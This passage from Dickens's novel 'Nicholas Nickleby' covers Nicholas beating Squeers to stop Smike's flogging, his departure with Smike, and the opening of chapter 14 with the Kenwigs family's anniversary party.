resolved that the outstanding +account between himself and Mr Squeers should be settled rather more +speedily than the latter anticipated. + +Another day came, and Nicholas was scarcely awake when he heard the +wheels of a chaise approaching the house. It stopped. The voice of +Mrs Squeers was heard, and in exultation, ordering a glass of +spirits for somebody, which was in itself a sufficient sign that +something extraordinary had happened. Nicholas hardly dared to look +out of the window; but he did so, and the very first object that met +his eyes was the wretched Smike: so bedabbled with mud and rain, so +haggard and worn, and wild, that, but for his garments being such as +no scarecrow was ever seen to wear, he might have been doubtful, +even then, of his identity. + +'Lift him out,' said Squeers, after he had literally feasted his +eyes, in silence, upon the culprit. 'Bring him in; bring him in!' + +'Take care,' cried Mrs Squeers, as her husband proffered his +assistance. 'We tied his legs under the apron and made'em fast to +the chaise, to prevent his giving us the slip again.' + +With hands trembling with delight, Squeers unloosened the cord; and +Smike, to all appearance more dead than alive, was brought into the +house and securely locked up in a cellar, until such time as Mr +Squeers should deem it expedient to operate upon him, in presence of +the assembled school. + +Upon a hasty consideration of the circumstances, it may be matter of +surprise to some persons, that Mr and Mrs Squeers should have taken +so much trouble to repossess themselves of an incumbrance of which +it was their wont to complain so loudly; but their surprise will +cease when they are informed that the manifold services of the +drudge, if performed by anybody else, would have cost the +establishment some ten or twelve shillings per week in the shape of +wages; and furthermore, that all runaways were, as a matter of +policy, made severe examples of, at Dotheboys Hall, inasmuch as, in +consequence of the limited extent of its attractions, there was but +little inducement, beyond the powerful impulse of fear, for any +pupil, provided with the usual number of legs and the power of using +them, to remain. + +The news that Smike had been caught and brought back in triumph, ran +like wild-fire through the hungry community, and expectation was on +tiptoe all the morning. On tiptoe it was destined to remain, +however, until afternoon; when Squeers, having refreshed himself +with his dinner, and further strengthened himself by an extra +libation or so, made his appearance (accompanied by his amiable +partner) with a countenance of portentous import, and a fearful +instrument of flagellation, strong, supple, wax-ended, and new,--in +short, purchased that morning, expressly for the occasion. + +'Is every boy here?' asked Squeers, in a tremendous voice. + +Every boy was there, but every boy was afraid to speak, so Squeers +glared along the lines to assure himself; and every eye drooped, and +every head cowered down, as he did so. + +'Each boy keep his place,' said Squeers, administering his favourite +blow to the desk, and regarding with gloomy satisfaction the +universal start which it never failed to occasion. 'Nickleby! to +your desk, sir.' + +It was remarked by more than one small observer, that there was a +very curious and unusual expression in the usher's face; but he took +his seat, without opening his lips in reply. Squeers, casting a +triumphant glance at his assistant and a look of most comprehensive +despotism on the boys, left the room, and shortly afterwards +returned, dragging Smike by the collar--or rather by that fragment +of his jacket which was nearest the place where his collar would +have been, had he boasted such a decoration. + +In any other place, the appearance of the wretched, jaded, +spiritless object would have occasioned a murmur of compassion and +remonstrance. It had some effect, even there; for the lookers-on +moved uneasily in their seats; and a few of the boldest ventured to +steal looks at each other, expressive of indignation and pity. + +They were lost on Squeers, however, whose gaze was fastened on the +luckless Smike, as he inquired, according to custom in such cases, +whether he had anything to say for himself. + +'Nothing, I suppose?' said Squeers, with a diabolical grin. + +Smike glanced round, and his eye rested, for an instant, on +Nicholas, as if he had expected him to intercede; but his look was +riveted on his desk. + +'Have you anything to say?' demanded Squeers again: giving his right +arm two or three flourishes to try its power and suppleness. 'Stand +a little out of the way, Mrs Squeers, my dear; I've hardly got room +enough.' + +'Spare me, sir!' cried Smike. + +'Oh! that's all, is it?' said Squeers. 'Yes, I'll flog you within +an inch of your life, and spare you that.' + +'Ha, ha, ha,' laughed Mrs Squeers, 'that's a good 'un!' + +'I was driven to do it,' said Smike faintly; and casting another +imploring look about him. + +'Driven to do it, were you?' said Squeers. 'Oh! it wasn't your +fault; it was mine, I suppose--eh?' + +'A nasty, ungrateful, pig-headed, brutish, obstinate, sneaking dog,' +exclaimed Mrs Squeers, taking Smike's head under her arm, and +administering a cuff at every epithet; 'what does he mean by that?' + +'Stand aside, my dear,' replied Squeers. 'We'll try and find out.' + +Mrs Squeers, being out of breath with her exertions, complied. +Squeers caught the boy firmly in his grip; one desperate cut had +fallen on his body--he was wincing from the lash and uttering a +scream of pain--it was raised again, and again about to fall--when +Nicholas Nickleby, suddenly starting up, cried 'Stop!' in a voice +that made the rafters ring. + +'Who cried stop?' said Squeers, turning savagely round. + +'I,' said Nicholas, stepping forward. 'This must not go on.' + +'Must not go on!' cried Squeers, almost in a shriek. + +'No!' thundered Nicholas. + +Aghast and stupefied by the boldness of the interference, Squeers +released his hold of Smike, and, falling back a pace or two, gazed +upon Nicholas with looks that were positively frightful. + +'I say must not,' repeated Nicholas, nothing daunted; 'shall not. I +will prevent it.' + +Squeers continued to gaze upon him, with his eyes starting out of +his head; but astonishment had actually, for the moment, bereft him +of speech. + +'You have disregarded all my quiet interference in the miserable +lad's behalf,' said Nicholas; 'you have returned no answer to the +letter in which I begged forgiveness for him, and offered to be +responsible that he would remain quietly here. Don't blame me for +this public interference. You have brought it upon yourself; not I.' + +'Sit down, beggar!' screamed Squeers, almost beside himself with +rage, and seizing Smike as he spoke. + +'Wretch,' rejoined Nicholas, fiercely, 'touch him at your peril! I +will not stand by, and see it done. My blood is up, and I have the +strength of ten such men as you. Look to yourself, for by Heaven I +will not spare you, if you drive me on!' + +'Stand back,' cried Squeers, brandishing his weapon. + +'I have a long series of insults to avenge,' said Nicholas, flushed +with passion; 'and my indignation is aggravated by the dastardly +cruelties practised on helpless infancy in this foul den. Have a +care; for if you do raise the devil within me, the consequences +shall fall heavily upon your own head!' + +He had scarcely spoken, when Squeers, in a violent outbreak of +wrath, and with a cry like the howl of a wild beast, spat upon him, +and struck him a blow across the face with his instrument of +torture, which raised up a bar of livid flesh as it was inflicted. +Smarting with the agony of the blow, and concentrating into that one +moment all his feelings of rage, scorn, and indignation, Nicholas +sprang upon him, wrested the weapon from his hand, and pinning him +by the throat, beat the ruffian till he roared for mercy. + +The boys--with the exception of Master Squeers, who, coming to his +father's assistance, harassed the enemy in the rear--moved not, hand +or foot; but Mrs Squeers, with many shrieks for aid, hung on to the +tail of her partner's coat, and endeavoured to drag him from his +infuriated adversary; while Miss Squeers, who had been peeping +through the keyhole in expectation of a very different scene, darted +in at the very beginning of the attack, and after launching a shower +of inkstands at the usher's head, beat Nicholas to her heart's content; +animating herself, at every blow, with the recollection of his +having refused her proffered love, and thus imparting additional +strength to an arm which (as she took after her mother in this +respect) was, at no time, one of the weakest. + +Nicholas, in the full torrent of his violence, felt the blows no +more than if they had been dealt with feathers; but, becoming tired +of the noise and uproar, and feeling that his arm grew weak besides, +he threw all his remaining strength into half-a-dozen finishing +cuts, and flung Squeers from him with all the force he could muster. +The violence of his fall precipitated Mrs Squeers completely over an +adjacent form; and Squeers striking his head against it in his +descent, lay at his full length on the ground, stunned and +motionless. + +Having brought affairs to this happy termination, and ascertained, +to his thorough satisfaction, that Squeers was only stunned, and not +dead (upon which point he had had some unpleasant doubts at first), +Nicholas left his family to restore him, and retired to consider +what course he had better adopt. He looked anxiously round for +Smike, as he left the room, but he was nowhere to be seen. + +After a brief consideration, he packed up a few clothes in a small +leathern valise, and, finding that nobody offered to oppose his +progress, marched boldly out by the front-door, and shortly +afterwards, struck into the road which led to Greta Bridge. + +When he had cooled sufficiently to be enabled to give his present +circumstances some little reflection, they did not appear in a very +encouraging light; he had only four shillings and a few pence in his +pocket, and was something more than two hundred and fifty miles from +London, whither he resolved to direct his steps, that he might +ascertain, among other things, what account of the morning's +proceedings Mr Squeers transmitted to his most affectionate uncle. + +Lifting up his eyes, as he arrived at the conclusion that there was +no remedy for this unfortunate state of things, he beheld a horseman +coming towards him, whom, on nearer approach, he discovered, to his +infinite chagrin, to be no other than Mr John Browdie, who, clad in +cords and leather leggings, was urging his animal forward by means +of a thick ash stick, which seemed to have been recently cut from +some stout sapling. + +'I am in no mood for more noise and riot,' thought Nicholas, 'and +yet, do what I will, I shall have an altercation with this honest +blockhead, and perhaps a blow or two from yonder staff.' + +In truth, there appeared some reason to expect that such a result +would follow from the encounter, for John Browdie no sooner saw +Nicholas advancing, than he reined in his horse by the footpath, and +waited until such time as he should come up; looking meanwhile, very +sternly between the horse's ears, at Nicholas, as he came on at his +leisure. + +'Servant, young genelman,' said John. + +'Yours,' said Nicholas. + +'Weel; we ha' met at last,' observed John, making the stirrup ring +under a smart touch of the ash stick. + +'Yes,' replied Nicholas, hesitating. 'Come!' he said, frankly, +after a moment's pause, 'we parted on no very good terms the last +time we met; it was my fault, I believe; but I had no intention of +offending you, and no idea that I was doing so. I was very sorry +for it, afterwards. Will you shake hands?' + +'Shake honds!' cried the good-humoured Yorkshireman; 'ah! that I +weel;' at the same time, he bent down from the saddle, and gave +Nicholas's fist a huge wrench: 'but wa'at be the matther wi' thy +feace, mun? it be all brokken loike.' + +'It is a cut,' said Nicholas, turning scarlet as he spoke,--'a blow; +but I returned it to the giver, and with good interest too.' + +'Noa, did 'ee though?' exclaimed John Browdie. 'Well deane! I +loike 'un for thot.' + +'The fact is,' said Nicholas, not very well knowing how to make the +avowal, 'the fact is, that I have been ill-treated.' + +'Noa!' interposed John Browdie, in a tone of compassion; for he was +a giant in strength and stature, and Nicholas, very likely, in his +eyes, seemed a mere dwarf; 'dean't say thot.' + +'Yes, I have,' replied Nicholas, 'by that man Squeers, and I have +beaten him soundly, and am leaving this place in consequence.' + +'What!' cried John Browdie, with such an ecstatic shout, that the +horse quite shied at it. 'Beatten the schoolmeasther! Ho! ho! ho! +Beatten the schoolmeasther! who ever heard o' the loike o' that noo! +Giv' us thee hond agean, yoongster. Beatten the schoolmeasther! +Dang it, I loov' thee for't.' + +With these expressions of delight, John Browdie laughed and laughed +again--so loud that the echoes, far and wide, sent back nothing but +jovial peals of merriment--and shook Nicholas by the hand meanwhile, +no less heartily. When his mirth had subsided, he inquired what +Nicholas meant to do; on his informing him, to go straight to +London, he shook his head doubtfully, and inquired if he knew how +much the coaches charged to carry passengers so far. + +'No, I do not,' said Nicholas; 'but it is of no great consequence to +me, for I intend walking.' + +'Gang awa' to Lunnun afoot!' cried John, in amazement. + +'Every step of the way,' replied Nicholas. 'I should be many steps +further on by this time, and so goodbye!' + +'Nay noo,' replied the honest countryman, reining in his impatient +horse, 'stan' still, tellee. Hoo much cash hast thee gotten?' + +'Not much,' said Nicholas, colouring, 'but I can make it enough. +Where there's a will, there's a way, you know.' + +John Browdie made no verbal answer to this remark, but putting his +hand in his pocket, pulled out an old purse of solid leather, and +insisted that Nicholas should borrow from him whatever he required +for his present necessities. + +'Dean't be afeard, mun,' he said; 'tak' eneaf to carry thee whoam. +Thee'lt pay me yan day, a' warrant.' + +Nicholas could by no means be prevailed upon to borrow more than a +sovereign, with which loan Mr Browdie, after many entreaties that he +would accept of more (observing, with a touch of Yorkshire caution, +that if he didn't spend it all, he could put the surplus by, till he +had an opportunity of remitting it carriage free), was fain to +content himself. + +'Tak' that bit o' timber to help thee on wi', mun,' he added, +pressing his stick on Nicholas, and giving his hand another squeeze; +'keep a good heart, and bless thee. Beatten the schoolmeasther! +'Cod it's the best thing a've heerd this twonty year!' + +So saying, and indulging, with more delicacy than might have been +expected from him, in another series of loud laughs, for the purpose +of avoiding the thanks which Nicholas poured forth, John Browdie set +spurs to his horse, and went off at a smart canter: looking back, +from time to time, as Nicholas stood gazing after him, and waving +his hand cheerily, as if to encourage him on his way. Nicholas +watched the horse and rider until they disappeared over the brow of +a distant hill, and then set forward on his journey. + +He did not travel far that afternoon, for by this time it was nearly +dark, and there had been a heavy fall of snow, which not only +rendered the way toilsome, but the track uncertain and difficult to +find, after daylight, save by experienced wayfarers. He lay, that +night, at a cottage, where beds were let at a cheap rate to the more +humble class of travellers; and, rising betimes next morning, made +his way before night to Boroughbridge. Passing through that town in +search of some cheap resting-place, he stumbled upon an empty barn +within a couple of hundred yards of the roadside; in a warm corner +of which, he stretched his weary limbs, and soon fell asleep. + +When he awoke next morning, and tried to recollect his dreams, which +had been all connected with his recent sojourn at Dotheboys Hall, he +sat up, rubbed his eyes and stared--not with the most composed +countenance possible--at some motionless object which seemed to be +stationed within a few yards in front of him. + +'Strange!' cried Nicholas; 'can this be some lingering creation of +the visions that have scarcely left me! It cannot be real--and yet +I--I am awake! Smike!' + +The form moved, rose, advanced, and dropped upon its knees at his +feet. It was Smike indeed. + +'Why do you kneel to me?' said Nicholas, hastily raising him. + +'To go with you--anywhere--everywhere--to the world's end--to the +churchyard grave,' replied Smike, clinging to his hand. 'Let me, oh +do let me. You are my home--my kind friend--take me with you, +pray.' + +'I am a friend who can do little for you,' said Nicholas, kindly. +'How came you here?' + +He had followed him, it seemed; had never lost sight of him all the +way; had watched while he slept, and when he halted for refreshment; +and had feared to appear before, lest he should be sent back. He +had not intended to appear now, but Nicholas had awakened more +suddenly than he looked for, and he had had no time to conceal +himself. + +'Poor fellow!' said Nicholas, 'your hard fate denies you any friend +but one, and he is nearly as poor and helpless as yourself.' + +'May I--may I go with you?' asked Smike, timidly. 'I will be your +faithful hard-working servant, I will, indeed. I want no clothes,' +added the poor creature, drawing his rags together; 'these will do +very well. I only want to be near you.' + +'And you shall,' cried Nicholas. 'And the world shall deal by you +as it does by me, till one or both of us shall quit it for a better. +Come!' + +With these words, he strapped his burden on his shoulders, and, +taking his stick in one hand, extended the other to his delighted +charge; and so they passed out of the old barn, together. + + + +CHAPTER 14 + +Having the Misfortune to treat of none but Common People, is +necessarily of a Mean and Vulgar Character + + +In that quarter of London in which Golden Square is situated, there +is a bygone, faded, tumble-down street, with two irregular rows of +tall meagre houses, which seem to have stared each other out of +countenance years ago. The very chimneys appear to have grown +dismal and melancholy, from having had nothing better to look at +than the chimneys over the way. Their tops are battered, and +broken, and blackened with smoke; and, here and there, some taller +stack than the rest, inclining heavily to one side, and toppling +over the roof, seems to mediate taking revenge for half a century's +neglect, by crushing the inhabitants of the garrets beneath. + +The fowls who peck about the kennels, jerking their bodies hither +and thither with a gait which none but town fowls are ever seen to +adopt, and which any country cock or hen would be puzzled to +understand, are perfectly in keeping with the crazy habitations of +their owners. Dingy, ill-plumed, drowsy flutterers, sent, like many +of the neighbouring children, to get a livelihood in the streets, +they hop, from stone to stone, in forlorn search of some hidden +eatable in the mud, and can scarcely raise a crow among them. The +only one with anything approaching to a voice, is an aged bantam at +the baker's; and even he is hoarse, in consequence of bad living in +his last place. + +To judge from the size of the houses, they have been, at one time, +tenanted by persons of better condition than their present +occupants; but they are now let off, by the week, in floors or +rooms, and every door has almost as many plates or bell-handles as +there are apartments within. The windows are, for the same reason, +sufficiently diversified in appearance, being ornamented with every +variety of common blind and curtain that can easily be imagined; +while every doorway is blocked up, and rendered nearly impassable, +by a motley collection of children and porter pots of all sizes, +from the baby in arms and the half-pint pot, to the full-grown girl +and half-gallon can. + +In the parlour of one of these houses, which was perhaps a thought +dirtier than any of its neighbours; which exhibited more bell- +handles, children, and porter pots, and caught in all its freshness +the first gust of the thick black smoke that poured forth, night and +day, from a large brewery hard by; hung a bill, announcing that +there was yet one room to let within its walls, though on what story +the vacant room could be--regard being had to the outward tokens of +many lodgers which the whole front displayed, from the mangle in the +kitchen window to the flower-pots on the parapet--it would have been +beyond the power of a calculating boy to discover. + +The common stairs of this mansion were bare and carpetless; but a +curious visitor who had to climb his way to the top, might have +observed that there were not wanting indications of the progressive +poverty of the inmates, although their rooms were shut. Thus, the +first-floor lodgers, being flush of furniture, kept an old mahogany +table--real mahogany--on the landing-place outside, which was only +taken in, when occasion required. On the second story, the spare +furniture dwindled down to a couple of old deal chairs, of which +one, belonging to the back-room, was shorn of a leg, and bottomless. +The story above, boasted no greater excess than a worm-eaten wash- +tub; and the garret landing-place displayed no costlier articles +than two crippled pitchers, and some broken blacking-bottles. + +It was on this garret landing-place that a hard-featured square- +faced man, elderly and shabby, stopped to unlock the door of the +front attic, into which, having surmounted the task of turning the +rusty key in its still more rusty wards, he walked with the air of +legal owner. + +This person wore a wig of short, coarse, red hair, which he took off +with his hat, and hung upon a nail. Having adopted in its place a +dirty cotton nightcap, and groped about in the dark till he found a +remnant of candle, he knocked at the partition which divided the two +garrets, and inquired, in a loud voice, whether Mr Noggs had a +light. + +The sounds that came back were stifled by the lath and plaster, and +it seemed moreover as though the speaker had uttered them from the +interior of a mug or other drinking vessel; but they were in the +voice of Newman, and conveyed a reply in the affirmative. + +'A nasty night, Mr Noggs!' said the man in the nightcap, stepping in +to light his candle. + +'Does it rain?' asked Newman. + +'Does it?' replied the other pettishly. 'I am wet through.' + +'It doesn't take much to wet you and me through, Mr Crowl,' said +Newman, laying his hand upon the lappel of his threadbare coat. + +'Well; and that makes it the more vexatious,' observed Mr Crowl, in +the same pettish tone. + +Uttering a low querulous growl, the speaker, whose harsh countenance +was the very epitome of selfishness, raked the scanty fire nearly +out of the grate, and, emptying the glass which Noggs had pushed +towards him, inquired where he kept his coals. + +Newman Noggs pointed to the bottom of a cupboard, and Mr Crowl, +seizing the shovel, threw on half the stock: which Noggs very +deliberately took off again, without saying a word. + +'You have not turned saving, at this time of day, I hope?' said +Crowl. + +Newman pointed to the empty glass, as though it were a sufficient +refutation of the charge, and briefly said that he was going +downstairs to supper. + +'To the Kenwigses?' asked Crowl. + +Newman nodded assent. + +'Think of that now!' said Crowl. 'If I didn't--thinking that you +were certain not to go, because you said you wouldn't--tell Kenwigs +I couldn't come, and make up my mind to spend the evening with you!' + +'I was obliged to go,' said Newman. 'They would have me.' + +'Well; but what's to become of me?' urged the selfish man, who never +thought of anybody else. 'It's all your fault. I'll tell you what +--I'll sit by your fire till you come back again.' + +Newman cast a despairing glance at his small store of fuel, but, not +having the courage to say no--a word which in all his life he never +had said at the right time, either to himself or anyone else--gave +way to the proposed arrangement. Mr Crowl immediately went about +making himself as comfortable, with Newman Nogg's means, as +circumstances would admit of his being made. + +The lodgers to whom Crowl had made allusion under the designation of +'the Kenwigses,' were the wife and olive branches of one Mr Kenwigs, +a turner in ivory, who was looked upon as a person of some +consideration on the premises, inasmuch as he occupied the whole of +the first floor, comprising a suite of two rooms. Mrs Kenwigs, too, +was quite a lady in her manners, and of a very genteel family, +having an uncle who collected a water-rate; besides which +distinction, the two eldest of her little girls went twice a week to +a dancing school in the neighbourhood, and had flaxen hair, tied +with blue ribbons, hanging in luxuriant pigtails down their backs; +and wore little white trousers with frills round the ankles--for all +of which reasons, and many more equally valid but too numerous to +mention, Mrs Kenwigs was considered a very desirable person to know, +and was the constant theme of all the gossips in the street, and +even three or four doors round the corner at both ends. + +It was the anniversary of that happy day on which the Church of +England as by law established, had bestowed Mrs Kenwigs upon Mr +Kenwigs; and in grateful commemoration of the same, Mrs Kenwigs had +invited a few select friends to cards and a supper in the first +floor, and had put on a new gown to receive them in: which gown, +being of a flaming colour and made upon a juvenile principle, was so +successful that Mr Kenwigs said the eight years of matrimony and the +five children seemed all a dream, and Mrs Kenwigs younger and more +blooming than on the very first Sunday he had kept company with her. + +Beautiful as Mrs Kenwigs looked when she was dressed though, and so +stately that you would have supposed she had a cook and housemaid at +least, and nothing to do but order them about, she had a world of +trouble with the preparations; more, indeed, than she, being of a +delicate and genteel constitution, could have sustained, had not the +pride of housewifery upheld her. At last, however, all the things +that had to be got together were got together, and all the things +that had to be got out of the way were got out of the way, and +everything was ready, and the collector himself having promised to +come, fortune smiled upon the occasion. + +The party was admirably selected. There were, first of all, Mr +Kenwigs and Mrs Kenwigs, and four olive Kenwigses who sat up to +supper; firstly, because it was but right that they should have a +treat on such a day; and secondly, because their going to bed, in +presence of the company, would have been inconvenient, not to say +improper. Then, there was a young lady who had made Mrs Kenwigs's +dress, and who--it was the most convenient thing in the world-- +living in the two-pair back, gave up her bed to the baby, and got a +little girl to watch it. Then, to match this young lady, was a +young man, who had known Mr Kenwigs when he was a bachelor, and was +much esteemed by the ladies, as bearing the reputation of a rake. +To these were added a newly-married couple, who had visited Mr and +Mrs Kenwigs in their courtship; and a sister of Mrs Kenwigs's, who +was quite a beauty; besides whom, there was another young man, +supposed to entertain honourable designs upon the lady last +mentioned; and Mr Noggs, who was a genteel person to ask, because he +had been a gentleman once. There were also an elderly lady from the +back-parlour, and one more young lady, who, next to the collector, +perhaps was the great lion of the party, being the daughter of a +theatrical fireman, who 'went on' in the pantomime, and had the +greatest turn for the stage that was ever known, being able to sing +and recite in a manner that brought the tears into Mrs Kenwigs's +eyes. There was only one drawback upon the pleasure of seeing such +friends, and that was, that the lady in the back-parlour, who was +very fat, and turned of sixty, came in a low book-muslin dress and +short kid gloves, which so exasperated Mrs Kenwigs, that that lady +assured her visitors, in private, that if it hadn't happened that +the supper was cooking at the back-parlour grate at that moment, she +certainly would have requested its representative to withdraw. + +'My dear,' said Mr Kenwigs, 'wouldn't it be better to begin a round +game?' + +'Kenwigs, my dear,' returned his wife, 'I am surprised at you. +Would you begin without my uncle?' + +'I forgot the collector,' said Kenwigs; 'oh no, that would never +do.' + +'He's so particular,' said Mrs Kenwigs, turning to the other married +lady, 'that if we began without him, I should be out of his will for +ever.' + +'Dear!' cried the married lady. + +'You've no idea what he is,' replied Mrs Kenwigs; 'and yet as good a +creature as ever breathed.' + +'The kindest-hearted man as ever was,' said Kenwigs. + +'It goes to his heart, I believe, to be forced to cut the water off, +when the people don't pay,' observed the bachelor friend, intending +a joke. + +'George,' said Mr Kenwigs, solemnly, 'none of that, if you please.' + +'It was only my joke,' said the friend, abashed. + +'George,' rejoined Mr Kenwigs, 'a joke is a wery good thing--a wery +good thing--but when that joke is made at the expense of Mrs +Kenwigs's feelings, I set my face against it. A man in public life +expects to be sneered at--it is the fault of his elewated +sitiwation, and not of himself. Mrs Kenwigs's relation is a public +man, and that he knows, George, and that he can bear; but putting +Mrs Kenwigs out of the question (if I COULD put Mrs Kenwigs out of +the question on such an occasion as this), I have the honour to be +connected with the collector by marriage; and I cannot allow these +remarks in my--' Mr Kenwigs was going to say 'house,' but he rounded +the sentence with 'apartments'. + +At the conclusion of these observations, which drew forth evidences +of acute feeling from Mrs Kenwigs, and had the intended effect of +impressing the company with a deep sense of the collector's dignity, +a ring was heard at the bell. + +'That's him,' whispered Mr Kenwigs, greatly excited. 'Morleena, my +dear, run down and let your uncle in, and kiss him directly you get +the door open. Hem! Let's be talking.' + +Adopting Mr Kenwigs's suggestion, the company spoke very loudly, to +look easy and unembarrassed; and almost as soon as they had begun to +do so, a short old gentleman in drabs and gaiters, with a face that +might have been carved out of LIGNUM VITAE, for anything that +appeared to the contrary, was led playfully in by Miss Morleena +Kenwigs, regarding whose uncommon Christian name it may be here +remarked that it had been invented and composed by Mrs Kenwigs +previous to her first lying-in, for the special distinction of her +eldest child, in case it should prove a daughter. + +'Oh, uncle, I am SO glad to see you,' said Mrs Kenwigs, kissing the +collector affectionately on both cheeks. 'So glad!' + +'Many happy returns of the day, my dear,' replied the collector, +returning the compliment. + +Now, this was an interesting thing. Here was a collector of water- +rates, without his book, without his pen and ink, without his double +knock, without his intimidation, kissing--actually kissing--an +agreeable female, and leaving taxes, summonses, notices that he had +called, or announcements that he would never call again, for two +quarters' due, wholly out of the question. It was pleasant to see +how the company looked on, quite absorbed in the sight, and to +behold the nods and winks with which they expressed their +gratification at finding so much humanity in a tax-gatherer. + +'Where will you sit, uncle?' said Mrs Kenwigs, in the full glow of +family pride, which the appearance of her distinguished relation +occasioned. + +'Anywheres, my dear,' said the collector, 'I am not particular.' + +Not particular! What a meek collector! If he had been an author, +who knew his place, he couldn't have been more humble. + +'Mr Lillyvick,' said Kenwigs, addressing the collector, 'some +friends here, sir, are very anxious for the honour of--thank you--Mr +and Mrs Cutler, Mr Lillyvick.' + +'Proud to know you, sir,' said Mr Cutler; 'I've heerd of you very +often.' These were not mere words of ceremony; for, Mr Cutler, +having kept house in Mr Lillyvick's parish, had heard of him very +often indeed. His attention in calling had been quite extraordinary. + +'George, you know, I think, Mr Lillyvick,' said Kenwigs; 'lady from +downstairs--Mr Lillyvick. Mr Snewkes--Mr Lillyvick. Miss Green--Mr +Lillyvick. Mr Lillyvick--Miss Petowker of the Theatre Royal, Drury +Lane. Very glad to make two public characters acquainted! Mrs +Kenwigs, my dear, will you sort the counters?' + +Mrs Kenwigs, with the assistance of Newman Noggs, (who, as he +performed sundry little acts of kindness for the children, at all +times and seasons, was humoured in his request to be taken no notice +of, and was merely spoken about, in a whisper, as the decayed +gentleman), did as he was desired; and the greater part of the +guests sat down to speculation, while Newman himself, Mrs Kenwigs, +and Miss Petowker of the Theatre Royal Drury Lane, looked after the +supper-table. + +While the ladies were thus busying themselves, Mr Lillyvick was +intent upon the game in progress, and as all should be fish that +comes to a water-collector's net, the dear old gentleman was by no +means scrupulous in appropriating to himself the property of his +neighbours, which, on the contrary, he abstracted whenever an +opportunity presented itself, smiling good-humouredly all the while, +and making so many condescending speeches to the owners, that they +were delighted with his amiability, and thought in their hearts that +he deserved to be Chancellor of the Exchequer at least. + +After a great deal of trouble, and the administration of many slaps +on the head to the infant Kenwigses, whereof two of the most +rebellious were summarily banished, the cloth was laid with much +elegance, and a pair of boiled fowls, a large piece of pork, apple- +pie, potatoes and greens, were served; at sight of which, the worthy +Mr Lillyvick vented a great many witticisms, and plucked up +amazingly: to the immense delight and satisfaction of the whole body +of admirers. + +Very well and very fast the supper went off; no more serious +difficulties occurring, than those which arose from the incessant +demand for clean knives and forks; which made poor Mrs Kenwigs wish, +more than once, that private society adopted the principle of +schools, and required that every guest should bring his own knife, +fork, and spoon; which doubtless would be a great accommodation in +many cases, and to no one more so than to the lady and gentleman of +the house, especially if the school principle were carried out to +the full extent, and the articles were expected, as a matter of +delicacy, not to be taken away again. + +Everybody having eaten everything, the table was cleared in a most +alarming hurry, and with great noise; and the spirits, whereat the +eyes of Newman Noggs glistened, being arranged in order, with water +both hot and cold, the party composed themselves for conviviality; +Mr Lillyvick being stationed in a large armchair by the fireside, +and the four little Kenwigses disposed on a small form in front of +the company with their flaxen tails towards them, and their faces to +the fire; an arrangement which was no sooner perfected, than Mrs +Kenwigs was overpowered by the feelings of a mother, and fell upon +the left shoulder of Mr Kenwigs dissolved in tears. + +'They are so beautiful!' said Mrs Kenwigs, sobbing. + +'Oh, dear,' said all the ladies, 'so they are! it's very natural you +should feel proud of that; but don't give way, don't.' + +'I can--not help it, and it don't signify,' sobbed Mrs Kenwigs; 'oh! +they're too beautiful to live, much too beautiful!' + +On hearing this alarming presentiment of their being doomed to an +early death in the flower of their infancy, all four little girls +raised a hideous cry, and burying their heads in their mother's lap +simultaneously, screamed until the eight flaxen tails vibrated +again; Mrs Kenwigs meanwhile clasping them alternately to her bosom, +with attitudes expressive of distraction, which Miss Petowker +herself might have copied. + +At length, the anxious mother permitted herself to be soothed into a +more tranquil state, and the little Kenwigses, being also composed, +were distributed among the company, to prevent the possibility of +Mrs Kenwigs being again overcome by the blaze of their combined +beauty. This done, the ladies and gentlemen united in prophesying +that they would live for many, many years, and that there was no +occasion at all for Mrs Kenwigs to distress herself; which, in good +truth, there did not appear to be; the loveliness of the children by +no means justifying her apprehensions. + +'This day eight year,' said Mr Kenwigs after a pause. 'Dear me-- +ah!' + +This reflection was echoed by all present, who said 'Ah!' first, and +'dear me,' afterwards. + +'I was younger then,' tittered Mrs Kenwigs. + +'No,' said the collector. + +'Certainly not,' added everybody. + +'I remember my niece,' said Mr Lillyvick, surveying his audience +with a grave air; 'I remember her, on that very afternoon, when she +first acknowledged to her mother a partiality for Kenwigs. +"Mother," she says, "I love him."' + +'"Adore him," I said, uncle,' interposed Mrs Kenwigs. + +'"Love him," I think, my dear,' said the collector, firmly. + +'Perhaps you are right, uncle,' replied Mrs Kenwigs, submissively. +'I thought it was "adore."' + +'"Love," my dear,' retorted Mr Lillyvick. '"Mother," she says, "I +love him!" "What do I hear?" cries her mother; and instantly falls +into strong conwulsions.' + +A general exclamation of astonishment burst from the company. + +'Into strong conwulsions,' repeated Mr Lillyvick, regarding them +with a rigid look. 'Kenwigs will excuse my saying, in the presence +of friends, that there was a very great objection to him, on the +ground that he was beneath the family, and would disgrace it. You +remember, Kenwigs?' + +'Certainly,' replied that gentleman, in no way displeased at the +reminiscence, inasmuch as it proved, beyond all doubt, what a high +family Mrs Kenwigs came of. + +'I shared in that feeling,' said Mr Lillyvick: 'perhaps it was +natural; perhaps it wasn't.' + +A gentle murmur seemed to say, that, in one of Mr Lillyvick's +station, the objection was not only natural, but highly praiseworthy. + +'I came round to him in time,' said Mr Lillyvick. 'After they were +married, and there was no help for it, I was one of the first to say +that Kenwigs must be taken notice of. The family DID take notice of +him, in consequence, and on my representation; and I am bound to +say--and proud to say--that I have always found him a very honest, +well-behaved, upright, respectable sort of man. Kenwigs, shake +hands.' + +'I am proud to do it, sir,' said Mr Kenwigs. + +'So am I, Kenwigs,' rejoined Mr Lillyvick. + +'A very happy life I have led with your niece, sir,' said Kenwigs. + +'It would have been your own fault if you had not, sir,' remarked Mr +Lillyvick. + +'Morleena Kenwigs,' cried her mother, at this crisis, much affected, +'kiss your dear uncle!' + +The young lady did as she was requested, and the three other little +girls were successively hoisted up to the collector's countenance, +and subjected to the same process, which was afterwards repeated on +them by the majority of those present. + +'Oh dear, Mrs Kenwigs,' said Miss Petowker, 'while Mr Noggs is +making that punch to drink happy returns in, do let Morleena go +through that figure dance before Mr Lillyvick.' + +'No, no, my dear,' replied Mrs Kenwigs, 'it will only worry my +uncle.' + +'It can't worry him, I am sure,' said Miss Petowker. 'You will be +very much pleased, won't you, sir?' + +'That I am sure I shall' replied the collector, glancing at the +punch-mixer. + +'Well then, I'll tell you what,' said Mrs Kenwigs, 'Morleena shall +do the steps, if uncle can persuade Miss Petowker to recite us the +Blood-Drinker's Burial, afterwards.' + +There was a great clapping of hands and stamping of feet, at this +proposition; the subject whereof, gently inclined her head several +times, in acknowledgment of the reception. + +'You know,' said Miss Petowker, reproachfully, 'that I dislike doing +anything professional in private parties.' + +'Oh, but not here!' said Mrs Kenwigs. 'We are all so very friendly +and pleasant, that you might as well be going through it in your own +room; besides, the 